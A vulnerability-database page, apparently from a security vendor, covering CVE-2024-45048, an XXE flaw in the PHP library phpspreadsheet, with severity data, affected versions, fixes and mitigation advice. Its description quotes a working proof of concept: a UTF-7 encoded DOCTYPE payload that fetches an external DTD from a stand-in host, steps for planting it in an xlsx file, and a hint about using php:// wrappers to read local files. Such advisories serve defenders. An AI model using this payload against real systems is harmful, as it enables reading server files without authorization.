CVE-2024-45048 is a high-severity (CVSS 8.8) XML External Entity (XXE) vulnerability in phpoffice/phpspreadsheet. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for phpoffice/phpspreadsheet — see the affected versions and patch details below.
XML External Entity Reference (XXE) in PHPSpreadsheet
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-45048.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
- Create simple xlsx file
- Rename xlsx to zip
- Go to the zip and open the
xl/sharedStrings.xmlfile in edit mode. - Replace
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
- Save
sharedStrings.xmlfile and rename zip back to xlsx. - Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
- You will receive the request to your
http://%webhook%/file.dtd - Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.29.1composer require phpoffice/phpspreadsheet:^1.29.1 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.2.1 | 2.2.1composer require phpoffice/phpspreadsheet:^2.2.1 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.1 | 2.1.1composer require phpoffice/phpspreadsheet:^2.1.1 |
| 🐘Packagist | phpoffice/phpexcel | all versions | No fix |
Affected Products
phpspreadsheetphpofficeResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpoffice/phpspreadsheet to 1.29.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-45048 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2024-45048 in your dependencies?
Find it across Packagist, including transitive dependencies.